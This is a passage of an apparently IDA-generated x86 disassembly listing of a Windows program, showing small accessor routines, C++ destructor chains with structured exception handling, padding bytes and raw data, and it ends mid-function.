; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416810	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416840	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416840	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168F0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169DB:				; CODE XREF: sub_4169C0+11j
		retn
sub_4169C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db '░░░░░░░░░░░░░░░ллллллллллллллллХ',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449128B9h
		dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A7068h, 115CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449128B9h, 0B1DEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A90:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401776
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F050
		test	eax, eax
		jle	short loc_416D17
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: ___:0040126Cj sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_416D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: sub_416D30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416D30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_416D77
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416D77:				; CODE XREF: sub_416D60+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_401776j
		mov	dword ptr [ecx], offset	off_43F068
		jmp	sub_40204F
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401776
		test	byte ptr [esp+8], 1
		jz	short loc_416DF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DF8:				; CODE XREF: ___:00416DEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F074
		add	ecx, 4
		jmp	sub_401023
sub_416E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170B0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_4170B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417120	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417120	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417640	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176E0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417870	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179F0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
